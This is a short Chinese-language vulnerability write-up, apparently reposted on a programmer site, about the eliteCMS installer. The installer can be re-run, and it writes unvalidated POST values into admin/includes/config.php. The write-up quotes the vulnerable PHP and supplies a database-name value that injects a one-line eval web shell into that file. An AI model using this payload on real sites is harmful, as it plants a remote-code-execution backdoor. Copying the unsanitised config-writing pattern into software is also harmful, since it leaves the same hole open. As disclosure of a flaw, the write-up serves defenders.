好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

eliteCMS安装文件未验证+一句话写入安全漏洞 -

eliteCMS的安装程序安装结束后未作锁定,导致 黑客 可以通过访问安装程序地址进行重复安装

另外一个 漏洞 是安装程序可以直接写入一句话到admin/includes/config.php

我们来看代码:

 

...

elseif ($_GET['step'] == "4") {

    $file = "admin/includes/config.php";

    $write = "<?php\n";

    $write .= "/**\n";

    $write .= "*\n";

    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";

...略...

    $write .= "*\n";

    $write .= "*/\n";

    $write .= "\n";

    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";

    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";

    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";

    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";

    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";

    $write .= "if (!\$connection) {\n";

    $write .= "        die(\"Database connection failed\" .mysql_error());\n";

    $write .= "        \n";

    $write .= "} \n";

    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";

    $write .= "if (!\$db_select) {\n";

    $write .= "        die(\"Database select failed\" .mysql_error());\n";

    $write .= "        \n";

    $write .= "} \n";

    $write .= "?>\n";

 

    $writer = fopen($file, 'w');

...

 

再看代码: HdhCmsTest2cto测试数据

 

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];

$_SESSION['DB_NAME'] = $_POST['DB_NAME'];

$_SESSION['DB_USER'] = $_POST['DB_USER'];

$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

 

取值未作任何验证

如果将 数据库 名POST数据:

 

"?><?php eval($_POST[c]);?><?php

 

将导致一句话后门写入/admin/includes/config.php

 

 

查看更多关于eliteCMS安装文件未验证+一句话写入安全漏洞 -的详细内容...

  阅读:36次